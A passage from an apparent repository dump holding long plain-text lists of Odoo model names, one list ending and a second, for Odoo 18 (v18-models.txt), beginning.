658 | report.hr_payroll.contribution_register 659 | ir.model 660 | asset.modify 661 | ir.module.module 662 | base.module.install.request 663 | base.module.install.review 664 | report.base.report_irmodulereference 665 | base.module.uninstall 666 | ir.module.module.dependency 667 | ir.module.module.exclusion 668 | website.multi.mixin 669 | website.published.multi.mixin 670 | account.multicurrency.revaluation.report.handler 671 | account.multicurrency.revaluation.wizard 672 | pos.make.invoice 673 | fleet.vehicle.odometer 674 | onboarding.onboarding 675 | onboarding.progress.step 676 | onboarding.progress 677 | onboarding.onboarding.step 678 | account.financial.year.op 679 | crm.lost.reason 680 | sign.item.option 681 | esg.other.emission 682 | mail.mail 683 | sms.sms 684 | preparation.time.report 685 | restaurant.order.course 686 | stock.quant.package 687 | website.page 688 | website.page.properties 689 | website.page.properties.base 690 | report.paperformat 691 | timer.parent.mixin 692 | account.partial.reconcile 693 | account.partner.ledger.report.handler 694 | res.partner.category 695 | res.users.identitycheck 696 | account.payment.register 697 | payment.capture.wizard 698 | payment.method 699 | account.payment.method 700 | account.payment.method.line 701 | payment.provider 702 | payment.refund.wizard 703 | account.payment.term 704 | account.payment.term.line 705 | payment.token 706 | payment.transaction 707 | payment.provider.onboarding.wizard 708 | hr.payroll.report 709 | hr.payroll.dashboard.warning 710 | hr.payroll.declaration.mixin 711 | hr.payroll.employee.declaration 712 | hr.payroll.headcount 713 | hr.payroll.note 714 | hr.payroll.master.report 715 | hr.payslip.input 716 | hr.payslip.input.type 717 | hr.payslip.line 718 | hr.payslip.worked_days 719 | crm.iap.lead.role 720 | crm.iap.lead.seniority 721 | account.analytic.line.calendar.employee 722 | project.task.stage.personal 723 | rental.order.wizard 724 | stock.picking.type 725 | planning.attendance.analysis.report 726 | planning.analysis.report 727 | planning.recurrency 728 | planning.role 729 | planning.slot 730 | pos.note 731 | pos.load.mixin 732 | pos.category 733 | pos.config 734 | pos.daily.sales.reports.wizard 735 | report.point_of_sale.report_saledetails 736 | pos.details.wizard 737 | report.point_of_sale.report_invoice 738 | pos.make.payment 739 | pos.order.line 740 | report.pos.order 741 | pos.payment.method 742 | pos.payment 743 | pos.printer 744 | hr.referral.points 745 | portal.mixin 746 | portal.share 747 | portal.wizard.user 748 | pos.prep.display 749 | pos.prep.line 750 | pos.prep.order 751 | pos.prep.stage 752 | pos.prep.state 753 | forum.post.reason 754 | forum.post.vote 755 | whatsapp.preview 756 | report.product.report_pricelist 757 | product.pricelist.item 758 | product.pricing 759 | hr.employee.cv.wizard 760 | privacy.log 761 | privacy.lookup.wizard 762 | privacy.lookup.wizard.line 763 | res.groups.privilege 764 | procurement.group 765 | mrp.batch.produce 766 | product.attribute 767 | product.attribute.custom.value 768 | product.catalog.mixin 769 | product.combo 770 | product.combo.item 771 | product.document 772 | product.image 773 | report.product.report_producttemplatelabel_dymo 774 | report.stock.label_product_product_view 775 | report.product.report_producttemplatelabel2x7 776 | report.product.report_producttemplatelabel4x12 777 | report.product.report_producttemplatelabel4x12noprice 778 | report.product.report_producttemplatelabel4x7 779 | approval.product.line 780 | stock.move.line 781 | product.replenish 782 | stock.replenish.mixin 783 | product.tag 784 | product.template.attribute.exclusion 785 | product.template.attribute.line 786 | product.template.attribute.value 787 | report.mrp_account_enterprise.product_template_cost_structure 788 | uom.uom 789 | product.ribbon 790 | ir.cron.progress 791 | project.role 792 | project.sale.line.employee.map 793 | project.share.wizard 794 | project.share.collaborator.wizard 795 | project.project.stage 796 | project.project.stage.delete.wizard 797 | project.tags 798 | project.task.type.delete.wizard 799 | project.template.create.wizard 800 | project.template.role.to.users.map 801 | propose.change 802 | hr.employee.public 803 | publisher_warranty.contract 804 | purchase.bill.line.match 805 | purchase.order.line 806 | purchase.order.suggest 807 | purchase.report 808 | purchase.edi.xml.ubl_bis3 809 | purchase.bill.union 810 | mail.push.device 811 | mail.push 812 | website.visitor.push.subscription 813 | stock.putaway.rule 814 | ir.qweb.field.time 815 | quality.alert.stage 816 | quality.point.test_type 817 | quality.tag 818 | report.quality_control.quality_worksheet_internal 819 | report.quality_control.quality_worksheet 820 | quality.check.spreadsheet 821 | quality.spreadsheet.template 822 | stock.quant 823 | sale.order.spreadsheet 824 | sale.order.template 825 | sale.order.template.line 826 | sale.order.template.option 827 | quotation.document 828 | ir.qweb 829 | ir.qweb.field 830 | ir.qweb.field.barcode 831 | ir.qweb.field.contact 832 | ir.qweb.field.date 833 | ir.qweb.field.datetime 834 | ir.qweb.field.duration 835 | ir.qweb.field.float 836 | ir.qweb.field.float_time 837 | ir.qweb.field.html 838 | ir.qweb.field.image 839 | ir.qweb.field.image_url 840 | ir.qweb.field.integer 841 | ir.qweb.field.many2one 842 | ir.qweb.field.monetary 843 | ir.qweb.field.relative 844 | ir.qweb.field.selection 845 | ir.qweb.field.text 846 | ir.qweb.field.qweb 847 | ir.qweb.field.many2many 848 | sign.item.radio.set 849 | gamification.karma.rank 850 | rating.rating 851 | rating.parent.mixin 852 | hr.recruitment.report 853 | hr.recruitment.stage.report 854 | hr.recruitment.stage 855 | data_recycle.model 856 | data_recycle.record 857 | hr.referral.alert.mail.wizard 858 | hr.referral.campaign.wizard 859 | hr.referral.link.to.share 860 | hr.referral.send.mail 861 | hr.referral.send.sms 862 | hr.applicant.refuse.reason 863 | hr.work.entry.regeneration.wizard 864 | event.mail.registration 865 | ir.model.relation 866 | account.resequence.wizard 867 | product.removal 868 | mail.blacklist.remove 869 | phone.blacklist.remove 870 | sale.rental.report 871 | sale.rental.schedule 872 | rental.order.wizard.line 873 | repair.tags 874 | ir.actions.report 875 | report.layout 876 | res.role 877 | request.appraisal 878 | reset.view.arch.wizard 879 | pos.preparation.display.reset.wizard 880 | resource.mixin 881 | resource.calendar.leaves 882 | resource.calendar 883 | resource.resource 884 | restaurant.floor 885 | restaurant.table 886 | hr.resume.line 887 | stock.return.picking 888 | stock.return.picking.line 889 | account.return.creation.wizard 890 | account.return.submission.wizard 891 | account.return.payment.wizard 892 | social.account.revoke.youtube 893 | website.robots 894 | room.office 895 | quality.reason 896 | ir.rule 897 | account.reconcile.model.line 898 | website.seo.metadata 899 | account.edi.xml.ubl_sg 900 | account.edi.xml.ubl_nl 901 | helpdesk.sla.report.analysis 902 | sms.account.phone 903 | sms.account.sender 904 | sms.account.code 905 | sms.template.preview 906 | sms.template.reset 907 | sms.template 908 | hr.salary.rule 909 | hr.salary.rule.category 910 | hr.rule.parameter 911 | hr.rule.parameter.value 912 | hr.payroll.structure 913 | hr.payroll.structure.type 914 | sale.edi.xml.ubl_bis3 915 | sale.order.option 916 | sale.order.log 917 | sale.payment.provider.onboarding.wizard 918 | sale.temporal.recurrence 919 | sale.advance.payment.inv 920 | sale.report 921 | sale.order.log.report 922 | sale.order.line 923 | mailing.mailing.test 924 | discuss.gif.favorite 925 | planning.planning 926 | mail.scheduled.message 927 | mail.message.schedule 928 | stock.scrap.reason.tag 929 | account.secure.entries.wizard 930 | select.printers.wizard 931 | planning.send 932 | sms.composer 933 | whatsapp.composer 934 | fleet.vehicle.send.mail 935 | applicant.send.mail 936 | ir.sequence 937 | ir.sequence.date_range 938 | report.pos_hr.single_employee_sales_report 939 | homework.location.wizard 940 | ir.min.cron.mixin 941 | helpdesk.ticket.select.forum.wizard 942 | planning.slot.template 943 | delivery.carrier 944 | shiprocket.channel 945 | shiprocket.courier 946 | res.users.apikeys.show 947 | sign.template.preview 948 | sign.template.tag 949 | hr.contract.sign.document.wizard 950 | hr.recruitment.sign.document.wizard 951 | sign.request.share 952 | sign.log 953 | sign.send.request 954 | sign.send.request.signer 955 | sign.document 956 | sign.item.role 957 | sign.item.type 958 | sign.request.item.value 959 | sign.request.item 960 | sign.template 961 | hr.skill 962 | hr.skill.level 963 | hr.skill.type 964 | hr.individual.skill.mixin 965 | hr.applicant.skill 966 | hr.employee.skill 967 | slide.slide.partner 968 | slide.answer 969 | slide.tag 970 | event.mail.slot 971 | snailmail.letter 972 | stock.orderpoint.snooze 973 | social.account 974 | social.live.post 975 | social.post.template 976 | social.stream 977 | social.stream.type 978 | social.stream.post 979 | social.stream.post.image 980 | social.twitter.account 981 | hr.recruitment.source 982 | pos.pack.operation.lot 983 | mrp.production.split.line 984 | spreadsheet.contributor 985 | spreadsheet.dashboard 986 | spreadsheet.template 987 | save.spreadsheet.template 988 | spreadsheet.mixin 989 | stock.move 990 | stock.package.destination 991 | stock.package_level 992 | stock.quantity.history 993 | stock.quant.relocate 994 | report.stock.quantity 995 | report.stock.report_reception 996 | stock.forecasted_product_product 997 | stock.forecasted_product_template 998 | stock.report 999 | stock.request.count 1000 | stock.rule 1001 | stock.rules.report 1002 | stock.valuation.layer 1003 | stock.package.type 1004 | report.stock.report_stock_rule 1005 | stock.replenishment.info 1006 | stock.replenishment.option 1007 | ir.attachment.report 1008 | stock.storage.category 1009 | stock.storage.category.capacity 1010 | mail.link.preview 1011 | studio.approval.entry 1012 | studio.approval.request 1013 | studio.export.wizard.data 1014 | studio.export.model 1015 | studio.export.wizard 1016 | studio.mixin 1017 | sale.subscription.report 1018 | sale.subscription.change.customer.wizard 1019 | sale.order.close.reason 1020 | sale.subscription.close.reason.wizard 1021 | sale.subscription.plan 1022 | product.supplierinfo 1023 | survey.invite 1024 | survey.question.answer 1025 | survey.question 1026 | survey.user_input.line 1027 | google.calendar.sync 1028 | ir.config_parameter 1029 | auth.totp.rate.limit.log 1030 | documents.tag 1031 | project.task.recurrence 1032 | project.task.type 1033 | report.industry_fsm.worksheet_custom 1034 | project.task.stop.timers.wizard 1035 | project.task.stop.timers.wizard.line 1036 | report.project.task.user 1037 | account.tax.group 1038 | account.tax.repartition.line 1039 | account.tax.unit 1040 | ir_actions_account_report_download 1041 | template.reset.mixin 1042 | mailing.sms.test 1043 | iot.channel 1044 | theme.ir.asset 1045 | theme.ir.attachment 1046 | theme.ir.ui.view 1047 | theme.utils 1048 | helpdesk.ticket.report.analysis 1049 | helpdesk.sla.status 1050 | hr.leave.report.calendar 1051 | hr.leave.report 1052 | hr.leave.employee.type.report 1053 | hr.leave.type 1054 | timer.mixin 1055 | timer.timer 1056 | hr.timesheet.attendance.report 1057 | timesheet.grid.mixin 1058 | timesheets.analysis.report 1059 | hr.timesheet.tip 1060 | web_tour.tour.step 1061 | web_tour.tour 1062 | stock.traceability.report 1063 | gamification.karma.tracking 1064 | fsm.stock.tracking 1065 | account.bank.statement.line.transient 1066 | account.trial.balance.report.handler 1067 | ir.cron.trigger 1068 | expense.sample.receipt 1069 | hr.resume.line.type 1070 | account.edi.xml.ubl_20 1071 | account.edi.xml.ubl_21 1072 | account.edi.xml.ubl_bis3 1073 | utm.campaign 1074 | utm.medium 1075 | utm.mixin 1076 | utm.source 1077 | utm.source.mixin 1078 | utm.tag 1079 | website.base.unit 1080 | _unknown 1081 | base.module.update 1082 | update.product.attribute.value 1083 | crm.lead.pls.update 1084 | base.module.upgrade 1085 | res.users 1086 | res.users.settings 1087 | res.users.settings.volumes 1088 | website.custom_blocked_third_party_domains 1089 | change.password.user 1090 | change.password.own 1091 | mail.presence 1092 | res.users.apikeys 1093 | res.users.deletion 1094 | res.users.log 1095 | voip.queue.mixin 1096 | validate.account.move 1097 | fleet.disallowed.expenses.rate 1098 | fleet.vehicle.state 1099 | fleet.vehicle.tag 1100 | vendor.delay.report 1101 | ir.ui.view 1102 | website.track 1103 | voip.provider 1104 | stock.warehouse 1105 | stock.warn.insufficient.qty 1106 | stock.warn.insufficient.qty.repair 1107 | stock.warn.insufficient.qty.scrap 1108 | stock.warn.insufficient.qty.unbuild 1109 | web_editor.converter.test.sub 1110 | web_editor.converter.test 1111 | website 1112 | website.checkout.step 1113 | website.configurator.feature 1114 | website.event.menu 1115 | website.menu 1116 | product.public.category 1117 | website.published.mixin 1118 | website.searchable.mixin 1119 | website.snippet.filter 1120 | theme.website.menu 1121 | theme.website.page 1122 | website.visitor 1123 | website.page_options.mixin 1124 | website.page_visibility_options.mixin 1125 | website.rewrite 1126 | hr.referral.onboarding 1127 | whatsapp.message 1128 | whatsapp.template.button 1129 | whatsapp.template.variable 1130 | quality.check.wizard 1131 | account.duplicate.transaction.wizard 1132 | account.missing.transaction.wizard 1133 | account_followup.manual_reminder 1134 | mrp.consumption.warning 1135 | stock.valuation.layer.revaluation 1136 | mrp.production.split.multi 1137 | mrp.production.split 1138 | mrp.production.backorder 1139 | mrp.account.wip.accounting 1140 | sign.import.documents 1141 | quality.check.on.demand 1142 | mrp.workcenter.capacity 1143 | resource.calendar.attendance 1144 | hr.work.entry.report 1145 | hr.user.work.entry.employee 1146 | hr.work.entry.export.employee.mixin 1147 | hr.work.entry.export.mixin 1148 | hr.work.location 1149 | mrp.workorder 1150 | mrp.workcenter.productivity 1151 | mrp.workcenter.productivity.loss 1152 | hr.payroll.headcount.working.rate 1153 | worksheet.template 1154 | planning.calendar.resource 1155 | account.online.account 1156 | mailing.mailing.schedule.date 1157 | ir.websocket 1158 | -------------------------------------------------------------------------------- /odoomap/data/odoo_18/v18-models.txt: -------------------------------------------------------------------------------- 1 | mail.thread 2 | account.account 3 | account.return 4 | account.return.check 5 | account.analytic.account 6 | hr.applicant 7 | appointment.type 8 | hr.appraisal.goal 9 | approval.request 10 | knowledge.article.thread 11 | account.asset 12 | hr.attendance 13 | base.automation 14 | res.partner.bank 15 | account.online.link 16 | account.bank.statement 17 | account.bank.statement.line 18 | extract.mixin 19 | extract.mixin.with.words 20 | mrp.bom 21 | blog.blog 22 | blog.post 23 | calendar.event 24 | res.company 25 | res.partner 26 | slide.channel 27 | hr.department 28 | discuss.channel 29 | documents.document 30 | mrp.eco.type 31 | mail.thread.cc 32 | esg.emission.factor 33 | esg.emission.factor.line 34 | hr.employee 35 | hr.appraisal 36 | hr.version 37 | mrp.eco 38 | event.event 39 | event.registration 40 | hr.expense 41 | forum.forum 42 | forum.post 43 | forum.tag 44 | frontdesk.visitor 45 | gamification.badge 46 | gamification.challenge 47 | helpdesk.team 48 | helpdesk.ticket 49 | iap.account 50 | hr.job 51 | account.journal 52 | account.move 53 | knowledge.article 54 | crm.lead 55 | account.loan 56 | stock.lot 57 | lunch.supplier 58 | mail.blacklist 59 | mail.thread.blacklist 60 | mail.thread.main.attachment 61 | mailing.contact 62 | maintenance.equipment 63 | maintenance.request 64 | maintenance.team 65 | mrp.production 66 | card.campaign 67 | mailing.mailing 68 | fleet.vehicle.model 69 | hr.payslip.run 70 | hr.payslip 71 | account.payment 72 | phone.blacklist 73 | mail.thread.phone 74 | pos.order 75 | pos.session 76 | account.reconcile.model 77 | product.pricelist 78 | product.template 79 | product.category 80 | product.product 81 | project.project 82 | project.milestone 83 | project.update 84 | purchase.order 85 | quality.alert 86 | quality.alert.team 87 | quality.check 88 | quality.point 89 | rating.mixin 90 | repair.order 91 | hr.referral.reward 92 | room.room 93 | room.booking 94 | hr.salary.attachment 95 | sale.order 96 | crm.team 97 | crm.team.member 98 | ir.cron 99 | stock.scrap 100 | ir.actions.server 101 | fleet.vehicle.log.services 102 | sign.request 103 | slide.slide 104 | social.media 105 | social.post 106 | spreadsheet.cell.thread 107 | studio.approval.rule 108 | survey.survey 109 | survey.user_input 110 | hr.talent.pool 111 | project.task 112 | account.tax 113 | hr.leave 114 | hr.leave.allocation 115 | stock.picking 116 | mrp.unbuild 117 | fleet.vehicle 118 | fleet.vehicle.log.contract 119 | whatsapp.account 120 | whatsapp.template 121 | mrp.workcenter 122 | mrp.routing.workcenter 123 | auth_totp.wizard 124 | ai.tool 125 | voip.call 126 | account.edi.xml.ubl_a_nz 127 | ai.agent 128 | ai.composer 129 | res.users.apikeys.description 130 | res.groups 131 | account.cash.rounding 132 | account.chart.template 133 | account.group 134 | account.journal.group 135 | account.lock_exception 136 | account.move.reversal 137 | account.move.send 138 | account.move.send.batch.wizard 139 | account.move.send.wizard 140 | account.report.annotation 141 | account.report.custom.handler 142 | account.tax.report.handler 143 | account.report.send 144 | account.account.tag 145 | account.transfer.model 146 | account.transfer.model.line 147 | account.auto.reconcile.wizard 148 | account.root 149 | account.import.summary 150 | account.merge.wizard 151 | account.merge.wizard.line 152 | mrp.account.wip.accounting.line 153 | account.reconcile.wizard 154 | report.account.report_invoice_with_payments 155 | report.account.report_invoice 156 | account.report 157 | account.report.budget 158 | account.report.budget.item 159 | account.report.column 160 | account.report.expression 161 | account.report.external.value 162 | account.report.line 163 | account.return.type 164 | account.fiscal.position.account 165 | hr.leave.accrual.plan 166 | hr.leave.accrual.level 167 | account.accrued.orders.wizard 168 | ir.actions.act_url 169 | ir.actions.act_window 170 | ir.actions.act_window_close 171 | ir.actions.act_window.view 172 | ir.actions.actions 173 | mail.activity 174 | mail.activity.mixin 175 | mail.activity.plan 176 | esg.activity.type 177 | mail.activity.type 178 | mail.activity.plan.template 179 | mail.activity.schedule 180 | mailing.contact.to.list 181 | add.iot.box 182 | job.add.applicants 183 | talent.pool.add.applicants 184 | appointment.manage.leaves 185 | mrp.workcenter.tag 186 | mrp_production.additional.workorder 187 | slide.slide.resource 188 | format.address.mixin 189 | account.aged.partner.balance.report.handler 190 | account.aged.payable.report.handler 191 | account.aged.receivable.report.handler 192 | hr.referral.alert 193 | website.route 194 | ir.profile 195 | amazon.account 196 | amazon.marketplace 197 | amazon.offer 198 | amazon.recover.order.wizard 199 | iot.discovered.box 200 | account.analytic.distribution.model 201 | account.analytic.line 202 | analytic.mixin 203 | analytic.plan.fields.mixin 204 | account.analytic.applicability 205 | account.analytic.plan 206 | hr.recruitment.degree 207 | ir.module.category 208 | appointment.answer.input 209 | appointment.booking.line 210 | appointment.invite 211 | appointment.answer 212 | appointment.question 213 | appointment.resource 214 | appointment.slot 215 | hr.appraisal.note 216 | hr.appraisal.campaign.wizard 217 | hr.appraisal.goal.tag 218 | hr.appraisal.skill 219 | hr.appraisal.skill.report 220 | hr.appraisal.report 221 | approval.category 222 | approval.category.approver 223 | studio.approval.rule.approver 224 | studio.approval.rule.delegate 225 | approval.approver 226 | knowledge.article.member 227 | knowledge.article.template.category 228 | appraisal.ask.feedback 229 | ir.asset 230 | account.asset.group 231 | account.asset.report.handler 232 | web_editor.assets 233 | esg.assignation.line 234 | ir.attachment 235 | ai.embedding 236 | hr.attendance.overtime 237 | product.attribute.value 238 | auth_totp.device 239 | factors.auto.assignment.wizard 240 | ir.autovacuum 241 | sequence.mixin 242 | account.autopost.bills.wizard 243 | avatar.mixin 244 | account.edi.xml.ubl_de 245 | report.mrp.report_bom_structure 246 | stock.backorder.confirmation 247 | mrp.production.backorder.line 248 | stock.backorder.confirmation.line 249 | account.balance.sheet.report.handler 250 | res.bank 251 | account.bank.reconciliation.report.handler 252 | account.setup.bank.manual.config 253 | barcodes.barcode_events_mixin 254 | barcode.nomenclature 255 | barcode.rule 256 | base 257 | base_import.import 258 | base_import.mapping 259 | mrp.bom.line 260 | bill.to.po.wizard 261 | blog.tag 262 | blog.tag.category 263 | fleet.vehicle.model.brand 264 | project.task.burndown.chart.report 265 | pos.bus.mixin 266 | account.document.import.mixin 267 | mrp.bom.byproduct 268 | crm.activity.report 269 | crm.iap.lead.industry 270 | crm.iap.lead.mining.request 271 | crm.recurring.plan 272 | crm.stage 273 | crm.tag 274 | calendar.attendee 275 | calendar.filters 276 | calendar.popover.delete.wizard 277 | calendar.provider.config 278 | utm.stage 279 | bus.listener.mixin 280 | stock_barcode.cancel.operation 281 | hr.holidays.cancel.leave 282 | sale.mass.cancel.orders 283 | mail.canned.response 284 | esg.carbon.report.handler 285 | delivery.carrier.easypost 286 | account.cash.flow.report.handler 287 | lunch.cashmove.report 288 | hr.applicant.category 289 | fleet.vehicle.model.category 290 | certificate.certificate 291 | account.change.lock.date 292 | change.password.wizard 293 | change.production.qty 294 | slide.channel.partner 295 | slide.channel.invite 296 | discuss.channel.member 297 | slide.channel.tag.group 298 | slide.channel.tag 299 | chatbot.message 300 | chatbot.script 301 | chatbot.script.answer 302 | chatbot.script.step 303 | envia.shipping.wizard 304 | sendcloud.shipping.wizard 305 | sendcloud.shipping.product 306 | starshipit.shipping.wizard 307 | lot.label.layout 308 | product.label.layout 309 | picking.label.type 310 | res.city 311 | data_cleaning.model 312 | data_cleaning.record 313 | data_cleaning.rule 314 | ir.actions.client 315 | account.loan.close.wizard 316 | pos.close.session.wizard 317 | pos.bill 318 | spreadsheet.revision 319 | project.collaborator 320 | account.edi.common 321 | bus.bus 322 | base.document.layout 323 | sign.completed.document 324 | res.config 325 | res.config.settings 326 | ir.actions.todo 327 | auto.config.pos.iot 328 | confirm.stock.sms 329 | hr.timesheet.stop.timer.confirmation.wizard 330 | pos.confirmation.wizard 331 | stock.inventory.conflict 332 | slide.question 333 | hr.version.wizard 334 | hr.contract.type 335 | helpdesk.ticket.convert.wizard 336 | crm.lead2opportunity.partner.mass 337 | crm.lead2opportunity.partner 338 | crm.lead.rental 339 | project.task.convert.wizard 340 | social.post.to.lead 341 | helpdesk.ticket.to.lead 342 | spreadsheet.dashboard.share 343 | res.country 344 | voip.country.code.mixin 345 | res.country.group 346 | format.vat.label.mixin 347 | res.country.state 348 | website.cover_properties.mixin 349 | account.automatic.entry.wizard 350 | wizard.ir.model.menu.create 351 | helpdesk.create.fsm.task 352 | spreadsheet.document.to.dashboard 353 | ai.topic 354 | mail.activity.todo.create 355 | crm.quotation.partner 356 | certificate.key 357 | res.currency 358 | res.currency.rate 359 | ir.ui.view.custom 360 | pos_self_order.custom_link 361 | account.customer.statement.report.handler 362 | esg.database 363 | decimal.precision 364 | data_merge.group 365 | data_merge.model 366 | data_merge.record 367 | data_merge.rule 368 | ir.default 369 | x_project_task_worksheet_template_1 370 | account.deferred.expense.report.handler 371 | account.deferred.report.handler 372 | account.deferred.revenue.report.handler 373 | choose.delivery.carrier 374 | choose.delivery.package 375 | delivery.price.rule 376 | delivery.zip.prefix 377 | ir.demo 378 | ir.demo_failure.wizard 379 | ir.demo_failure 380 | hr.departure.reason 381 | hr.departure.wizard 382 | res.device.log 383 | res.device 384 | digest.digest 385 | digest.tip 386 | account.disallowed.expenses.category 387 | account.disallowed.expenses.report.handler 388 | account.disallowed.expenses.fleet.report.handler 389 | account.disallowed.expenses.rate 390 | sale.order.discount 391 | documents.access 392 | mail.followers 393 | documents.redirect 394 | documents.request_wizard 395 | documents.access.invite 396 | documents.link_to_record_wizard 397 | documents.mixin 398 | documents.unlink.mixin 399 | fleet.vehicle.assignation.log 400 | website.sale.extra.field 401 | account.edi.xml.ubl_efff 402 | account.ec.sales.report.handler 403 | mrp.eco.approval 404 | mrp.eco.approval.template 405 | mrp.eco.bom.change 406 | mrp.eco.stage 407 | mrp.eco.tag 408 | report.event_iot.event_registration_badge_printer_report 409 | esg.carbon.emission.report 410 | esg.employee.commuting.report 411 | esg.employee.report 412 | pos.preset 413 | easypost.service 414 | mrp.eco.routing.change 415 | registration.editor 416 | registration.editor.line 417 | edit.billable.time.target 418 | hr.payroll.edit.payslip.worked.days.line 419 | hr.payroll.edit.payslip.lines.wizard 420 | hr.payroll.edit.payslip.line 421 | mail.alias 422 | mail.alias.mixin 423 | mail.alias.mixin.optional 424 | mail.alias.domain 425 | mail.template.preview 426 | mail.template 427 | mail.compose.message 428 | ir.embedded.actions 429 | slide.embed 430 | esg.emission.source 431 | hr.appraisal.template 432 | hr.employee.category 433 | hr.employee.certification.report 434 | hr.employee.delete.wizard 435 | hr.employee.location 436 | hr.referral.report 437 | hr.referral.reward.report 438 | report.hr_skills.report_employee_cv 439 | hr.employee.skill.history.report 440 | hr.employee.skill.report 441 | base.enable.profiling.wizard 442 | calendar.alarm 443 | calendar.alarm_manager 444 | event.mail 445 | event.event.configurator 446 | event.lead.request 447 | event.lead.rule 448 | calendar.event.type 449 | event.question 450 | event.question.answer 451 | calendar.recurrence 452 | event.registration.answer 453 | event.sale.report 454 | event.slot 455 | event.stage 456 | event.tag 457 | event.tag.category 458 | event.type 459 | event.type.ticket 460 | event.event.ticket 461 | hr.expense.approve.duplicate 462 | hr.expense.post.wizard 463 | hr.expense.refuse.wizard 464 | hr.expense.split 465 | hr.expense.split.wizard 466 | account_reports.export.wizard.format 467 | account_reports.export.wizard 468 | ir.exports 469 | ir.exports.line 470 | iap.extracted.words 471 | report.project.task.user.fsm 472 | account.edi.xml.cii 473 | knowledge.article.favorite 474 | product.fetch.image.wizard 475 | html.field.history.mixin 476 | ir.model.fields 477 | ir.fields.converter 478 | ir.model.fields.selection 479 | crm.lead.scoring.frequency.field 480 | sign.item 481 | ir.binary 482 | ir.filters 483 | account.fiscal.position 484 | account.fiscal.year 485 | fleet.vehicle.cost.report 486 | fleet.vehicle.odometer.report 487 | fleet.service.type 488 | account.followup.report.handler 489 | account_followup.followup.line 490 | account.followup.report 491 | mail.followers.edit 492 | account_followup.missing.information.wizard 493 | sale.pdf.form.field 494 | hr.referral.friend 495 | frontdesk.frontdesk 496 | frontdesk.drink 497 | account.full.reconcile 498 | gamification.goal 499 | gamification.goal.definition 500 | gamification.goal.wizard 501 | gamification.badge.user 502 | gamification.badge.user.wizard 503 | gamification.challenge.line 504 | esg.gas 505 | account.general.ledger.report.handler 506 | payment.link.wizard 507 | employee.commuting.emissions.wizard 508 | hr.leave.allocation.generate.multi.wizard 509 | hr.leave.generate.multi.wizard 510 | qr.code.payment.wizard 511 | account.generic.tax.report.handler 512 | account.generic.tax.report.handler.account.tax 513 | account.generic.tax.report.handler.tax.account 514 | base.geocoder 515 | base.geo_provider 516 | crm.lead.lost 517 | applicant.get.refuse.reason 518 | report.account.report_hash_integrity 519 | google.calendar.account.reset 520 | google.gmail.mixin 521 | google.service 522 | portal.wizard 523 | report.sign.green_savings_report 524 | spreadsheet.dashboard.group 525 | mail.guest 526 | hr.payroll.payment.report.wizard 527 | hr.holidays.summary.employee 528 | hr.work.entry 529 | hr.work.entry.type 530 | ir.http 531 | hr.payroll.headcount.line 532 | helpdesk.sla 533 | helpdesk.stage 534 | helpdesk.stage.delete.wizard 535 | helpdesk.tag.assignment 536 | helpdesk.tag 537 | crm.iap.lead.helpers 538 | report.hr_holidays.report_holidayssummary 539 | account.report.horizontal.group 540 | account.report.horizontal.group.rule 541 | hr.manager.department.report 542 | iap.enrich.api 543 | iap.autocomplete.api 544 | iap.service 545 | mail.ice.server 546 | iot.device 547 | iot.trigger 548 | image.mixin 549 | base.import.module 550 | fetchmail.server 551 | account.incoterms 552 | hr.payroll.index 553 | res.partner.industry 554 | base.language.install 555 | stock.inventory.adjustment.name 556 | stock.inventory.warning 557 | stock.location 558 | stock.route 559 | account.invoice.report 560 | iot.box 561 | hr.job.platform 562 | account.move.line 563 | account.journal.report.handler 564 | documents.account.folder.setting 565 | discuss.call.history 566 | im_livechat.channel.member.history 567 | iot.keyboard.layout 568 | knowledge.cover 569 | knowledge.invite 570 | knowledge.article.stage 571 | base.language.export 572 | base.language.import 573 | res.lang 574 | crm.lead.scoring.frequency 575 | crm.lead.convert2ticket 576 | hr.referral.level 577 | mrp.consumption.warning.line 578 | fsm.stock.tracking.line 579 | sms.tracker 580 | link.tracker 581 | link.tracker.click 582 | link.tracker.code 583 | account.bank.selection 584 | mail.message.link.preview 585 | product.uom 586 | im_livechat.expertise 587 | im_livechat.channel 588 | im_livechat.channel.rule 589 | im_livechat.report.channel 590 | worksheet.template.load.wizard 591 | account.loan.compute.wizard 592 | account.loan.line 593 | ir.logging 594 | report.stock.label_lot_template_view 595 | lunch.alert 596 | lunch.cashmove 597 | lunch.topping 598 | lunch.location 599 | lunch.order 600 | lunch.product 601 | lunch.product.category 602 | report.mrp.report_mo_overview 603 | report.mrp_account_enterprise.mrp_cost_structure 604 | mrp.workcenter.productivity.loss.type 605 | mail.activity.schedule.line 606 | mail.bot 607 | mail.composer.mixin 608 | mail.gateway.allowed 609 | discuss.channel.rtc.session 610 | mail.render.mixin 611 | event.type.mail 612 | ir.mail_server 613 | mail.template.reset 614 | mail.tracking.value 615 | mailing.contact.import 616 | mailing.filter 617 | mailing.list 618 | mailing.subscription 619 | mailing.trace 620 | mailing.subscription.optout 621 | maintenance.equipment.category 622 | maintenance.mixin 623 | maintenance.stage 624 | account.report.file.download.error.wizard 625 | hr.leave.mandatory.day 626 | mrp.report 627 | account.code.mapping 628 | marketing.activity 629 | marketing.campaign 630 | marketing.campaign.test 631 | card.card 632 | card.campaign.tag 633 | card.template 634 | marketing.participant 635 | marketing.trace 636 | mailing.trace.report 637 | calendar.booking 638 | calendar.booking.line 639 | ir.ui.menu 640 | mailing.list.merge 641 | crm.merge.opportunity 642 | base.partner.merge.line 643 | base.partner.merge.automatic.wizard 644 | hr_timesheet.merge.wizard 645 | mail.message 646 | mail.notification 647 | mail.message.reaction 648 | mail.message.translation 649 | mail.message.subtype 650 | discuss.voice.metadata 651 | stock.warehouse.orderpoint 652 | mail.tracking.duration.mixin 653 | ir.model.access 654 | ir.model.constraint 655 | ir.model.data 656 | ir.model.inherit 657 | website.controller.page 658 | report.hr_payroll.contribution_register 659 | ir.model 660 | asset.modify 661 | ir.module.module 662 | base.module.install.request 663 | base.module.install.review 664 | report.base.report_irmodulereference 665 | base.module.uninstall 666 | ir.module.module.dependency 667 | ir.module.module.exclusion 668 | website.multi.mixin 669 | website.published.multi.mixin 670 | account.multicurrency.revaluation.report.handler 671 | account.multicurrency.revaluation.wizard 672 | pos.make.invoice 673 | fleet.vehicle.odometer 674 | onboarding.onboarding 675 | onboarding.progress.step 676 | onboarding.progress 677 | onboarding.onboarding.step 678 | account.financial.year.op 679 | crm.lost.reason 680 | sign.item.option 681 | esg.other.emission 682 | mail.mail 683 | sms.sms 684 | preparation.time.report 685 | restaurant.order.course 686 | stock.quant.package 687 | website.page 688 | website.page.properties 689 | website.page.properties.base 690 | report.paperformat 691 | timer.parent.mixin 692 | account.partial.reconcile 693 | account.partner.ledger.report.handler 694 